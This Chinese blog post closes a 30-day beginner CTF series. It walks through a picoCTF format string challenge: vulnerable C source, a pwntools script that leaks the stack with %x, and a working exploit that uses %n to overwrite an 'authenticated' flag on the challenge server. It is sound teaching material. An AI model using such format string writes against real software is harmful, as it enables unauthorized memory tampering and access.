iT邦幫忙

第 11 屆 iT 邦幫忙鐵人賽

DAY 30
1
Security

我搶到旗子了!30天CTF入門系列 第 30

Day30[Binary Exploitation] 格式化字串攻擊(2)

結語

時間過得真快,已經最後一天了,雖然每天發一篇文章真的很累,如果能夠重來的話,我還是會選擇參加鐵人賽,也因為鐵人賽是一股助力可以迫使更深入的學習、吸收、再打出來

建議大家在解題目的時候可以先多想一下,試試看各種方法,如果真的解不出來就去網路上參考人家怎麼寫的,了解別人的解題思維,之後做到類似的題目就很快可以解出來

picoCTF真的是很好入門CTF的網站,不但做的精緻,題目也都很不錯,我就是從零開始,剛踏入資安短短幾個月而已,透過picoCTF學到了很多各種領域的知識,而且最重要的是解出來很有成就感,這個成就感真的會讓人上癮想要一直解下去!

回到正題,雖然是最後一天,還是不能虎頭蛇尾吧,這裡就直接進到最後一題吧~


#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <sys/types.h>

int authenticated = 0;

int flag() {
  char flag[48];
  FILE *file;
  file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(flag, sizeof(flag), file);
  printf("%s", flag);
  return 0;
}

void read_flag() {
  if (!authenticated) {
    printf("Sorry, you are not *authenticated*!\n");
  }
  else {
    printf("Access Granted.\n");
    flag();
  }

}

int main(int argc, char **argv) {

  setvbuf(stdout, NULL, _IONBF, 0);

  char buf[64];
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  
  printf("Would you like to read the flag? (yes/no)\n");

  fgets(buf, sizeof(buf), stdin);
  
  if (strstr(buf, "no") != NULL) {
    printf("Okay, Exiting...\n");
    exit(1);
  }
  else if (strstr(buf, "yes") == NULL) {
    puts("Received Unknown Input:\n");
    printf(buf);
  }
  
  read_flag();

}

這題跟昨天的題目也有異曲同工之妙,可以看到這題基本上只判斷no,不過要拿到Flag authenticated這個變數必須要是1,但不過這裡並沒有可以將他改為1的程式碼,再來看到最下面print(buf) 這個部份,跟昨天一樣看起來是可以利用format string attack

這邊我先寫了一個python的程式碼透過輸入看看stack的內容

from pwn import *

r = remote('2018shell.picoctf.com',26336)

s = 'aaaa'

for i in range(20):
    s += ' %x'
r.recvuntil('(yes/no)\n')
print s
r.sendline(s)
text = r.recvuntil('!')
print text  

藉由這個可以得知authenticated的位移量是11個,那再來我們要知道他的位址是什麼
透過gdb可以看到他的位址是在 0x804a04c 知道了這些資訊之後我們透過%n更改變數值
這邊一樣透過python 以下是完整的

from pwn import *

r = remote('2018shell.picoctf.com',26336)

s = p32(0x804a04c)
for i in range(10):
    s += ' %x'
s += ' %n'
r.sendline(s)
print r.recvall()

這樣就可以成功拿到Flag了~


這三十天的鐵人賽感謝大家有耐心的看完,第一次發文,在文筆上有不佳的還麻煩多多包含,若是有哪些題目有更好的解法都可以留言指教,謝謝大家~


上一篇
Day29[Binary Exploitation] 格式化字串攻擊
系列文
我搶到旗子了!30天CTF入門30

1 則留言

0
catkitchen721
iT邦新手 5 級 ‧ 2019-10-14 03:24:31

恭喜完賽,辛苦了,我也剛完賽而已XD
非常感謝教學,picoCTF真的很好玩,也學到不少東西,但我在還看您的前幾篇文章~
慢慢練習XD 其實我把它當遊戲在打,我覺得比其他遊戲都好玩(我是不是怪人XD

恭喜完賽~
解出來拿到Flag那個成就感真的不是玩其他遊戲可以得到的XD
加油!

我要留言

立即登入留言